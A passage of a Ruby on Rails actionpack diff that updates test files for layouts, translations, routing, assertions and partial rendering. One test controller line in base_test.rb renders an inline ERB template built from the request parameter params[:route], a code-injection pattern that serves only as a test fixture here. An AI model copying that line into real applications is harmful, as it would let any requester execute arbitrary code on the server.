+++ b/actionpack/test/abstract/layouts_test.rb
@@ -14,7 +14,10 @@ module AbstractControllerTests
         "layouts/overwrite.erb"         => "Overwrite <%= yield %>",
         "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
         "abstract_controller_tests/layouts/with_string_implied_child.erb" =>
-                                           "With Implied <%= yield %>"
+                                           "With Implied <%= yield %>",
+        "abstract_controller_tests/layouts/with_grand_child_of_implied.erb" =>
+                                           "With Grand Child <%= yield %>"
+
       )]
     end
 
@@ -57,14 +60,15 @@ module AbstractControllerTests
       layout "hello_override"
     end
 
-    class WithNilChild < WithString
+    class WithStringImpliedChild < WithString
       layout nil
     end
 
-    class WithStringImpliedChild < WithString
+    class WithChildOfImplied < WithStringImpliedChild
     end
 
-    class WithChildOfImplied < WithStringImpliedChild
+    class WithGrandChildOfImplied < WithStringImpliedChild
+      layout nil
     end
 
     class WithProc < Base
@@ -75,6 +79,27 @@ module AbstractControllerTests
       end
     end
 
+    class WithZeroArityProc < Base
+      layout proc { "overwrite" }
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello zero arity proc!")
+      end
+    end
+
+    class WithProcInContextOfInstance < Base
+      def an_instance_method; end
+
+      layout proc {
+        break unless respond_to? :an_instance_method
+        "overwrite"
+      }
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello again zero arity proc!")
+      end
+    end
+
     class WithSymbol < Base
       layout :hello
 
@@ -141,6 +166,30 @@ module AbstractControllerTests
       end
     end
 
+    class WithOnlyConditional < WithStringImpliedChild
+      layout "overwrite", :only => :show
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello index!")
+      end
+
+      def show
+        render :template => ActionView::Template::Text.new("Hello show!")
+      end
+    end
+
+    class WithExceptConditional < WithStringImpliedChild
+      layout "overwrite", :except => :show
+
+      def index
+        render :template => ActionView::Template::Text.new("Hello index!")
+      end
+
+      def show
+        render :template => ActionView::Template::Text.new("Hello show!")
+      end
+    end
+
     class TestBase < ActiveSupport::TestCase
       test "when no layout is specified, and no default is available, render without a layout" do
         controller = Blank.new
@@ -200,6 +249,18 @@ module AbstractControllerTests
         assert_equal "Overwrite Hello proc!", controller.response_body
       end
 
+      test "when layout is specified as a proc without parameters it works just the same" do
+        controller = WithZeroArityProc.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello zero arity proc!", controller.response_body
+      end
+
+      test "when layout is specified as a proc without parameters the block is evaluated in the context of an instance" do
+        controller = WithProcInContextOfInstance.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello again zero arity proc!", controller.response_body
+      end
+
       test "when layout is specified as a symbol, call the requested method and use the layout returned" do
         controller = WithSymbol.new
         controller.process(:index)
@@ -238,12 +299,6 @@ module AbstractControllerTests
         assert_equal "With Implied Hello string!", controller.response_body
       end
 
-      test "when a child controller specifies layout nil, do not use the parent layout" do
-        controller = WithNilChild.new
-        controller.process(:index)
-        assert_equal "Hello string!", controller.response_body
-      end
-
       test "when a grandchild has no layout specified, the child has an implied layout, and the " \
         "parent has specified a layout, use the child controller layout" do
           controller = WithChildOfImplied.new
@@ -251,6 +306,13 @@ module AbstractControllerTests
           assert_equal "With Implied Hello string!", controller.response_body
       end
 
+      test "when a grandchild has nil layout specified, the child has an implied layout, and the " \
+        "parent has specified a layout, use the child controller layout" do
+          controller = WithGrandChildOfImplied.new
+          controller.process(:index)
+          assert_equal "With Grand Child Hello string!", controller.response_body
+      end
+
       test "raises an exception when specifying layout true" do
         assert_raises ArgumentError do
           Object.class_eval do
@@ -260,6 +322,42 @@ module AbstractControllerTests
           end
         end
       end
+
+      test "when specify an :only option which match current action name" do
+        controller = WithOnlyConditional.new
+        controller.process(:show)
+        assert_equal "Overwrite Hello show!", controller.response_body
+      end
+
+      test "when specify an :only option which does not match current action name" do
+        controller = WithOnlyConditional.new
+        controller.process(:index)
+        assert_equal "With Implied Hello index!", controller.response_body
+      end
+
+      test "when specify an :except option which match current action name" do
+        controller = WithExceptConditional.new
+        controller.process(:show)
+        assert_equal "With Implied Hello show!", controller.response_body
+      end
+
+      test "when specify an :except option which does not match current action name" do
+        controller = WithExceptConditional.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello index!", controller.response_body
+      end
+
+      test "layout for anonymous controller" do
+        klass = Class.new(WithString) do
+          def index
+            render :text => 'index', :layout => true
+          end
+        end
+
+        controller = klass.new
+        controller.process(:index)
+        assert_equal "With String index", controller.response_body
+      end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/abstract/translation_test.rb b/actionpack/test/abstract/translation_test.rb
index 8ec50fd57a..99064a8b87 100644
--- a/actionpack/test/abstract/translation_test.rb
+++ b/actionpack/test/abstract/translation_test.rb
@@ -3,7 +3,7 @@ require 'abstract_unit'
 # class TranslatingController < ActionController::Base
 # end
 
-class TranslationControllerTest < Test::Unit::TestCase
+class TranslationControllerTest < ActiveSupport::TestCase
   def setup
     @controller = ActionController::Base.new
   end
@@ -23,4 +23,17 @@ class TranslationControllerTest < Test::Unit::TestCase
   def test_action_controller_base_responds_to_l
     assert_respond_to @controller, :l
   end
-end
\ No newline at end of file
+
+  def test_lazy_lookup
+    expected = 'bar'
+    @controller.stubs(:action_name => :index)
+    I18n.stubs(:translate).with('action_controller.base.index.foo').returns(expected)
+    assert_equal expected, @controller.t('.foo')
+  end
+
+  def test_default_translation
+    key, expected = 'one.two' 'bar'
+    I18n.stubs(:translate).with(key).returns(expected)
+    assert_equal expected, @controller.t(key)
+  end
+end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 24d071df39..e5054a9eb8 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -1,11 +1,5 @@
 require File.expand_path('../../../load_paths', __FILE__)
 
-lib = File.expand_path("#{File.dirname(__FILE__)}/../lib")
-$:.unshift(lib) unless $:.include?('lib') || $:.include?(lib)
-
-activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
-$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path)
-
 $:.unshift(File.dirname(__FILE__) + '/lib')
 $:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
 $:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers')
@@ -14,17 +8,14 @@ ENV['TMPDIR'] = File.join(File.dirname(__FILE__), 'tmp')
 
 require 'active_support/core_ext/kernel/reporting'
 
-require 'active_support/core_ext/string/encoding'
-if "ruby".encoding_aware?
-  # These are the normal settings that will be set up by Railties
-  # TODO: Have these tests support other combinations of these values
-  silence_warnings do
-    Encoding.default_internal = "UTF-8"
-    Encoding.default_external = "UTF-8"
-  end
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+  Encoding.default_internal = "UTF-8"
+  Encoding.default_external = "UTF-8"
 end
 
-require 'test/unit'
+require 'minitest/autorun'
 require 'abstract_controller'
 require 'action_controller'
 require 'action_view'
@@ -73,7 +64,17 @@ module RackTestUtils
 end
 
 module RenderERBUtils
+  def view
+    @view ||= begin
+      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+      view_paths = ActionView::PathSet.new([path])
+      ActionView::Base.new(view_paths)
+    end
+  end
+
   def render_erb(string)
+    @virtual_path = nil
+
     template = ActionView::Template.new(
       string.strip,
       "test template",
@@ -84,50 +85,47 @@ module RenderERBUtils
   end
 end
 
-module SetupOnce
-  extend ActiveSupport::Concern
-
-  included do
-    cattr_accessor :setup_once_block
-    self.setup_once_block = nil
-
-    setup :run_setup_once
-  end
+SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
 
-  module ClassMethods
-    def setup_once(&block)
-      self.setup_once_block = block
+module ActionDispatch
+  module SharedRoutes
+    def before_setup
+      @routes = SharedTestRoutes
+      super
     end
   end
 
-  private
-    def run_setup_once
-      if self.setup_once_block
-        self.setup_once_block.call
-        self.setup_once_block = nil
-      end
+  # Hold off drawing routes until all the possible controller classes
+  # have been loaded.
+  module DrawOnce
+    class << self
+      attr_accessor :drew
     end
-end
+    self.drew = false
 
-SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
+    def before_setup
+      super
+      return if DrawOnce.drew
 
-module ActiveSupport
-  class TestCase
-    include SetupOnce
-    # Hold off drawing routes until all the possible controller classes
-    # have been loaded.
-    setup_once do
       SharedTestRoutes.draw do
-        match ':controller(/:action)'
+        get ':controller(/:action)'
       end
 
       ActionDispatch::IntegrationTest.app.routes.draw do
-        match ':controller(/:action)'
+        get ':controller(/:action)'
       end
+
+      DrawOnce.drew = true
     end
   end
 end
 
+module ActiveSupport
+  class TestCase
+    include ActionDispatch::DrawOnce
+  end
+end
+
 class RoutedRackApp
   attr_reader :routes
 
@@ -158,18 +156,17 @@ class BasicController
 end
 
 class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
-  setup do
-    @routes = SharedTestRoutes
-  end
+  include ActionDispatch::SharedRoutes
 
   def self.build_app(routes = nil)
     RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
-      middleware.use "ActionDispatch::ShowExceptions"
+      middleware.use "ActionDispatch::ShowExceptions", ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+      middleware.use "ActionDispatch::DebugExceptions"
       middleware.use "ActionDispatch::Callbacks"
       middleware.use "ActionDispatch::ParamsParser"
       middleware.use "ActionDispatch::Cookies"
       middleware.use "ActionDispatch::Flash"
-      middleware.use "ActionDispatch::Head"
+      middleware.use "Rack::Head"
       yield(middleware) if block_given?
     end
   end
@@ -246,7 +243,7 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
   end
 
   def assert_body(body)
-    assert_equal body, Array.wrap(response.body).join
+    assert_equal body, Array(response.body).join
   end
 
   def assert_status(code)
@@ -254,7 +251,7 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
   end
 
   def assert_response(body, status = 200, headers = {})
-    assert_body   body
+    assert_body body
     assert_status status
     headers.each do |header, value|
       assert_header header, value
@@ -275,6 +272,7 @@ module ActionController
     include ActionController::Testing
     # This stub emulates the Railtie including the URL helpers from a Rails application
     include SharedTestRoutes.url_helpers
+    include SharedTestRoutes.mounted_helpers
 
     self.view_paths = FIXTURE_LOAD_PATH
 
@@ -287,10 +285,7 @@ module ActionController
 
   class TestCase
     include ActionDispatch::TestProcess
-
-    setup do
-      @routes = SharedTestRoutes
-    end
+    include ActionDispatch::SharedRoutes
   end
 end
 
@@ -301,9 +296,7 @@ module ActionView
   class TestCase
     # Must repeat the setup because AV::TestCase is a duplication
     # of AC::TestCase
-    setup do
-      @routes = SharedTestRoutes
-    end
+    include ActionDispatch::SharedRoutes
   end
 end
 
@@ -326,18 +319,62 @@ class Workshop
 end
 
 module ActionDispatch
-  class ShowExceptions
+  class DebugExceptions
     private
-      remove_method :public_path
-      def public_path
-        "#{FIXTURE_LOAD_PATH}/public"
-      end
+    remove_method :stderr_logger
+    # Silence logger
+    def stderr_logger
+      nil
+    end
+  end
+end
 
-      remove_method :logger
-      # Silence logger
-      def logger
-        nil
-      end
+module ActionDispatch
+  module RoutingVerbs
+    def get(uri_or_host, path = nil, port = nil)
+      host = uri_or_host.host unless path
+      path ||= uri_or_host.path
+
+      params = {'PATH_INFO'      => path,
+                'REQUEST_METHOD' => 'GET',
+                'HTTP_HOST'      => host}
+
+      routes.call(params)[2].join
+    end
+  end
+end
+
+module RoutingTestHelpers
+  def url_for(set, options, recall = nil)
+    set.send(:url_for, options.merge(:only_path => true, :_recall => recall))
   end
 end
 
+class ResourcesController < ActionController::Base
+  def index() render :nothing => true end
+  alias_method :show, :index
+end
+
+class ThreadsController  < ResourcesController; end
+class MessagesController < ResourcesController; end
+class CommentsController < ResourcesController; end
+class AuthorsController < ResourcesController; end
+class LogosController < ResourcesController; end
+
+class AccountsController <  ResourcesController; end
+class AdminController   <  ResourcesController; end
+class ProductsController < ResourcesController; end
+class ImagesController < ResourcesController; end
+class PreferencesController < ResourcesController; end
+
+module Backoffice
+  class ProductsController < ResourcesController; end
+  class TagsController < ResourcesController; end
+  class ManufacturersController < ResourcesController; end
+  class ImagesController < ResourcesController; end
+
+  module Admin
+    class ProductsController < ResourcesController; end
+    class ImagesController < ResourcesController; end
+  end
+end
diff --git a/actionpack/test/activerecord/active_record_store_test.rb b/actionpack/test/activerecord/active_record_store_test.rb
index 768ac713ca..275f25f597 100644
--- a/actionpack/test/activerecord/active_record_store_test.rb
+++ b/actionpack/test/activerecord/active_record_store_test.rb
@@ -33,8 +33,6 @@ class ActiveRecordStoreTest < ActionDispatch::IntegrationTest
       session[:foo] = "baz"
       head :ok
     end
-
-    def rescue_action(e) raise end
   end
 
   def setup
@@ -225,16 +223,16 @@ class ActiveRecordStoreTest < ActionDispatch::IntegrationTest
       assert_equal session_id, cookies['_session_id']
     end
   end
-  
+
   def test_incoming_invalid_session_id_via_cookie_should_be_ignored
     with_test_route_set do
       open_session do |sess|
         sess.cookies['_session_id'] = 'INVALID'
-        
+
         sess.get '/set_session_value'
         new_session_id = sess.cookies['_session_id']
         assert_not_equal 'INVALID', new_session_id
-        
+
         sess.get '/get_session_value'
         new_session_id_2 = sess.cookies['_session_id']
         assert_equal new_session_id, new_session_id_2
@@ -248,7 +246,7 @@ class ActiveRecordStoreTest < ActionDispatch::IntegrationTest
         sess.get '/set_session_value', :_session_id => 'INVALID'
         new_session_id = sess.cookies['_session_id']
         assert_not_equal 'INVALID', new_session_id
-        
+
         sess.get '/get_session_value'
         new_session_id_2 = sess.cookies['_session_id']
         assert_equal new_session_id, new_session_id_2
@@ -256,12 +254,19 @@ class ActiveRecordStoreTest < ActionDispatch::IntegrationTest
     end
   end
 
+  def test_session_store_with_all_domains
+    with_test_route_set(:domain => :all) do
+      get '/set_session_value'
+      assert_response :success
+    end
+  end
+
   private
 
     def with_test_route_set(options = {})
       with_routing do |set|
         set.draw do
-          match ':action', :to => 'active_record_store_test/test'
+          get ':action', :to => 'active_record_store_test/test'
         end
 
         @app = self.class.build_app(set) do |middleware|
diff --git a/actionpack/test/activerecord/polymorphic_routes_test.rb b/actionpack/test/activerecord/polymorphic_routes_test.rb
index 20d11377f6..afb714484b 100644
--- a/actionpack/test/activerecord/polymorphic_routes_test.rb
+++ b/actionpack/test/activerecord/polymorphic_routes_test.rb
@@ -2,42 +2,58 @@ require 'active_record_unit'
 require 'fixtures/project'
 
 class Task < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
 end
 
 class Step < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
 end
 
 class Bid < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
 end
 
 class Tax < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
 end
 
 class Fax < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
 end
 
 class Series < ActiveRecord::Base
-  set_table_name 'projects'
+  self.table_name = 'projects'
+end
+
+class ModelDelegator < ActiveRecord::Base
+  self.table_name = 'projects'
+
+  def to_model
+    ModelDelegate.new
+  end
+end
+
+class ModelDelegate
+  def self.model_name
+    ActiveModel::Name.new(self)
+  end
+
+  def to_param
+    'overridden'
+  end
 end
 
 module Blog
   class Post < ActiveRecord::Base
-    set_table_name 'projects'
+    self.table_name = 'projects'
   end
 
   class Blog < ActiveRecord::Base
-    set_table_name 'projects'
+    self.table_name = 'projects'
   end
 
-  def self._railtie
-    o = Object.new
-    def o.railtie_name; "blog" end
-    o
+  def self.use_relative_model_naming?
+    true
   end
 end
 
@@ -52,6 +68,7 @@ class PolymorphicRoutesTest < ActionController::TestCase
     @bid = Bid.new
     @tax = Tax.new
     @fax = Fax.new
+    @delegator = ModelDelegator.new
     @series = Series.new
     @blog_post = Blog::Post.new
     @blog_blog = Blog::Blog.new
@@ -441,6 +458,13 @@ class PolymorphicRoutesTest < ActionController::TestCase
     end
   end
 
+  def test_routing_a_to_model_delegate
+    with_test_routes do
+      @delegator.save
+      assert_equal "http://example.com/model_delegates/overridden", polymorphic_url(@delegator)
+    end
+  end
+
   def with_namespaced_routes(name)
     with_routing do |set|
       set.draw do
@@ -471,6 +495,7 @@ class PolymorphicRoutesTest < ActionController::TestCase
           resource :bid
         end
         resources :series
+        resources :model_delegates
       end
 
       self.class.send(:include, @routes.url_helpers)
@@ -518,5 +543,4 @@ class PolymorphicRoutesTest < ActionController::TestCase
       yield
     end
   end
-
 end
diff --git a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb b/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
index 97be5a5bb0..409370104d 100644
--- a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
+++ b/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
@@ -16,7 +16,7 @@ class RenderPartialWithRecordIdentificationController < ActionController::Base
   end
 
   def render_with_has_many_through_association
-    @developer = Developer.find(:first)
+    @developer = Developer.first
     render :partial => @developer.topics
   end
 
@@ -31,7 +31,7 @@ class RenderPartialWithRecordIdentificationController < ActionController::Base
   end
 
   def render_with_record
-    @developer = Developer.find(:first)
+    @developer = Developer.first
     render :partial => @developer
   end
 
@@ -130,14 +130,40 @@ class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveReco
 
   def test_render_with_record_in_nested_controller
     get :render_with_record_in_nested_controller
-    assert_template 'fun/games/_game'
-    assert_equal 'Pong', @response.body
+    assert_template %r{\Afun/games/_game\Z}
+    assert_equal "Fun Pong\n", @response.body
   end
 
   def test_render_with_record_collection_in_nested_controller
     get :render_with_record_collection_in_nested_controller
-    assert_template 'fun/games/_game'
-    assert_equal 'PongTank', @response.body
+    assert_template %r{\Afun/games/_game\Z}
+    assert_equal "Fun Pong\nFun Tank\n", @response.body
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedControllersWithoutPrefixTest < ActiveRecordTestCase
+  tests Fun::NestedController
+
+  def test_render_with_record_in_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_in_nested_controller
+    assert_template %r{\Agames/_game\Z}
+    assert_equal "Just Pong\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+  end
+
+  def test_render_with_record_collection_in_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_collection_in_nested_controller
+    assert_template %r{\Agames/_game\Z}
+    assert_equal "Just Pong\nJust Tank\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
   end
 end
 
@@ -146,13 +172,39 @@ class RenderPartialWithRecordIdentificationAndNestedDeeperControllersTest < Acti
 
   def test_render_with_record_in_deeper_nested_controller
     get :render_with_record_in_deeper_nested_controller
-    assert_template 'fun/serious/games/_game'
-    assert_equal 'Chess', @response.body
+    assert_template %r{\Afun/serious/games/_game\Z}
+    assert_equal "Serious Chess\n", @response.body
   end
 
   def test_render_with_record_collection_in_deeper_nested_controller
     get :render_with_record_collection_in_deeper_nested_controller
-    assert_template 'fun/serious/games/_game'
-    assert_equal 'ChessSudokuSolitaire', @response.body
+    assert_template %r{\Afun/serious/games/_game\Z}
+    assert_equal "Serious Chess\nSerious Sudoku\nSerious Solitaire\n", @response.body
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedDeeperControllersWithoutPrefixTest < ActiveRecordTestCase
+  tests Fun::Serious::NestedDeeperController
+
+  def test_render_with_record_in_deeper_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_in_deeper_nested_controller
+    assert_template %r{\Agames/_game\Z}
+    assert_equal "Just Chess\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+  end
+
+  def test_render_with_record_collection_in_deeper_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_collection_in_deeper_nested_controller
+    assert_template %r{\Agames/_game\Z}
+    assert_equal "Just Chess\nJust Sudoku\nJust Solitaire\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
   end
 end
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
new file mode 100644
index 0000000000..ca1d58765d
--- /dev/null
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -0,0 +1,55 @@
+require 'abstract_unit'
+require 'action_dispatch/testing/assertions/response'
+
+module ActionDispatch
+  module Assertions
+    class ResponseAssertionsTest < ActiveSupport::TestCase
+      include ResponseAssertions
+
+      FakeResponse = Struct.new(:response_code) do
+        [:success, :missing, :redirect, :error].each do |sym|
+          define_method("#{sym}?") do
+            sym == response_code
+          end
+        end
+      end
+
+      def test_assert_response_predicate_methods
+        [:success, :missing, :redirect, :error].each do |sym|
+          @response = FakeResponse.new sym
+          assert_response sym
+
+          assert_raises(MiniTest::Assertion) {
+            assert_response :unauthorized
+          }
+        end
+      end
+
+      def test_assert_response_fixnum
+        @response = FakeResponse.new 400
+        assert_response 400
+
+        assert_raises(MiniTest::Assertion) {
+          assert_response :unauthorized
+        }
+
+        assert_raises(MiniTest::Assertion) {
+          assert_response 500
+        }
+      end
+
+      def test_assert_response_sym_status
+        @response = FakeResponse.new 401
+        assert_response :unauthorized
+
+        assert_raises(MiniTest::Assertion) {
+          assert_response :ok
+        }
+
+        assert_raises(MiniTest::Assertion) {
+          assert_response :success
+        }
+      end
+    end
+  end
+end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index a714e8bbcc..9b0d4d0f4c 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -71,6 +71,16 @@ class ActionPackAssertionsController < ActionController::Base
     render :text => "Hello!", :content_type => Mime::RSS
   end
 
+  def render_with_layout
+    @variable_for_layout = nil
+    render "test/hello_world", :layout => "layouts/standard"
+  end
+
+  def render_with_layout_and_partial
+    @variable_for_layout = nil
+    render "test/hello_world_with_partial", :layout => "layouts/standard"
+  end
+
   def session_stuffing
     session['xmas'] = 'turkey'
     render :text => "ho ho ho"
@@ -154,24 +164,10 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
     assert_equal @response.body, 'request method: GET'
   end
 
-  def test_redirect_to_named_route
-    with_routing do |set|
-      set.draw do
-        match 'route_one', :to => 'action_pack_assertions#nothing', :as => :route_one
-        match ':controller/:action'
-      end
-      set.install_helpers
-
-      process :redirect_to_named_route
-      assert_redirected_to 'http://test.host/route_one'
-      assert_redirected_to route_one_url
-    end
-  end
-
   def test_string_constraint
     with_routing do |set|
       set.draw do
-        match "photos", :to => 'action_pack_assertions#nothing', :constraints => {:subdomain => "admin"}
+        get "photos", :to => 'action_pack_assertions#nothing', :constraints => {:subdomain => "admin"}
       end
     end
   end
@@ -179,15 +175,18 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
   def test_assert_redirect_to_named_route_failure
     with_routing do |set|
       set.draw do
-        match 'route_one', :to => 'action_pack_assertions#nothing', :as => :route_one
-        match 'route_two', :to => 'action_pack_assertions#nothing', :id => 'two', :as => :route_two
-        match ':controller/:action'
+        get 'route_one', :to => 'action_pack_assertions#nothing', :as => :route_one
+        get 'route_two', :to => 'action_pack_assertions#nothing', :id => 'two', :as => :route_two
+        get ':controller/:action'
       end
       process :redirect_to_named_route
       assert_raise(ActiveSupport::TestCase::Assertion) do
         assert_redirected_to 'http://test.host/route_two'
       end
       assert_raise(ActiveSupport::TestCase::Assertion) do
+        assert_redirected_to %r(^http://test.host/route_two)
+      end
+      assert_raise(ActiveSupport::TestCase::Assertion) do
         assert_redirected_to :controller => 'action_pack_assertions', :action => 'nothing', :id => 'two'
       end
       assert_raise(ActiveSupport::TestCase::Assertion) do
@@ -201,8 +200,8 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
 
     with_routing do |set|
       set.draw do
-        match 'admin/inner_module', :to => 'admin/inner_module#index', :as => :admin_inner_module
-        match ':controller/:action'
+        get 'admin/inner_module', :to => 'admin/inner_module#index', :as => :admin_inner_module
+        get ':controller/:action'
       end
       process :redirect_to_index
       # redirection is <{"action"=>"index", "controller"=>"admin/admin/inner_module"}>
@@ -215,12 +214,13 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
 
     with_routing do |set|
       set.draw do
-        match '/action_pack_assertions/:id', :to => 'action_pack_assertions#index', :as => :top_level
-        match ':controller/:action'
+        get '/action_pack_assertions/:id', :to => 'action_pack_assertions#index', :as => :top_level
+        get ':controller/:action'
       end
       process :redirect_to_top_level_named_route
       # assert_redirected_to "http://test.host/action_pack_assertions/foo" would pass because of exact match early return
       assert_redirected_to "/action_pack_assertions/foo"
+      assert_redirected_to %r(/action_pack_assertions/foo)
     end
   end
 
@@ -230,8 +230,8 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
     with_routing do |set|
       set.draw do
         # this controller exists in the admin namespace as well which is the only difference from previous test
-        match '/user/:id', :to => 'user#index', :as => :top_level
-        match ':controller/:action'
+        get '/user/:id', :to => 'user#index', :as => :top_level
+        get ':controller/:action'
       end
       process :redirect_to_top_level_named_route
       # assert_redirected_to top_level_url('foo') would pass because of exact match early return
@@ -347,7 +347,7 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
   end
 
   def test_render_based_on_parameters
-    process :render_based_on_parameters, "name" => "David"
+    process :render_based_on_parameters, "GET", "name" => "David"
     assert_equal "Mr. David", @response.body
   end
 
@@ -471,6 +471,50 @@ class AssertTemplateTest < ActionController::TestCase
     end
   end
 
+  def test_fails_with_wrong_layout
+    get :render_with_layout
+    assert_raise(ActiveSupport::TestCase::Assertion) do
+      assert_template :layout => "application"
+    end
+  end
+
+  def test_fails_expecting_no_layout
+    get :render_with_layout
+    assert_raise(ActiveSupport::TestCase::Assertion) do
+      assert_template :layout => nil
+    end
+  end
+
+  def test_passes_with_correct_layout
+    get :render_with_layout
+    assert_template :layout => "layouts/standard"
+  end
+
+  def test_passes_with_layout_and_partial
+    get :render_with_layout_and_partial
+    assert_template :layout => "layouts/standard"
+  end
+
+  def test_passed_with_no_layout
+    get :hello_world
+    assert_template :layout => nil
+  end
+
+  def test_passed_with_no_layout_false
+    get :hello_world
+    assert_template :layout => false
+  end
+
+  def test_passes_with_correct_layout_without_layouts_prefix
+    get :render_with_layout
+    assert_template :layout => "standard"
+  end
+
+  def test_passes_with_correct_layout_symbol
+    get :render_with_layout
+    assert_template :layout => :standard
+  end
+
   def test_assert_template_reset_between_requests
     get :hello_world
     assert_template 'test/hello_world'
diff --git a/actionpack/test/controller/addresses_render_test.rb b/actionpack/test/controller/addresses_render_test.rb
deleted file mode 100644
index c1cd22113d..0000000000
--- a/actionpack/test/controller/addresses_render_test.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'abstract_unit'
-require 'logger'
-require 'controller/fake_controllers'
-
-class Address
-  def Address.count(conditions = nil, join = nil)
-    nil
-  end
-
-  def Address.find_all(arg1, arg2, arg3, arg4)
-    []
-  end
-
-  def self.find(*args)
-    []
-  end
-end
-
-class AddressesTest < ActionController::TestCase
-  tests AddressesController
-
-  def setup
-    super
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
-
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_list
-    get :list
-    assert_equal "We only need to get this far!", @response.body.chomp
-  end
-end
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
index 5eef8a32d7..3d667f0a2f 100644
--- a/actionpack/test/controller/assert_select_test.rb
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -47,10 +47,6 @@ class AssertSelectTest < ActionController::TestCase
       render :text=>@content, :layout=>false, :content_type=>Mime::XML
       @content = nil
     end
-
-    def rescue_action(e)
-      raise e
-    end
   end
 
   tests AssertSelectController
@@ -135,6 +131,13 @@ class AssertSelectTest < ActionController::TestCase
     assert_raise(Assertion) { assert_select "pre", :html=>text }
   end
 
+  def test_strip_textarea
+    render_html %Q{<textarea>\n\nfoo\n</textarea>}
+    assert_select "textarea", "\nfoo\n"
+    render_html %Q{<textarea>\nfoo</textarea>}
+    assert_select "textarea", "foo"
+  end
+
   def test_counts
     render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
     assert_nothing_raised               { assert_select "div", 2 }
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
index 9c22a4e7e0..b9513ccff4 100644
--- a/actionpack/test/controller/base_test.rb
+++ b/actionpack/test/controller/base_test.rb
@@ -1,5 +1,5 @@
 require 'abstract_unit'
-require 'logger'
+require 'active_support/logger'
 require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
 
 # Provide some controller to run the tests on.
@@ -40,35 +40,12 @@ class NonEmptyController < ActionController::Base
   end
 end
 
-class MethodMissingController < ActionController::Base
-  hide_action :shouldnt_be_called
-  def shouldnt_be_called
-    raise "NO WAY!"
-  end
-
-protected
-
-  def method_missing(selector)
-    render :text => selector.to_s
-  end
-end
-
-class AnotherMethodMissingController < ActionController::Base
-  cattr_accessor :_exception
-  rescue_from Exception, :with => :_exception=
-
-  protected
-  def method_missing(*attrs, &block)
-    super
-  end
-end
-
 class DefaultUrlOptionsController < ActionController::Base
   def from_view
     render :inline => "<%= #{params[:route]} %>"
   end
 
-  def default_url_options(options = nil)
+  def default_url_options
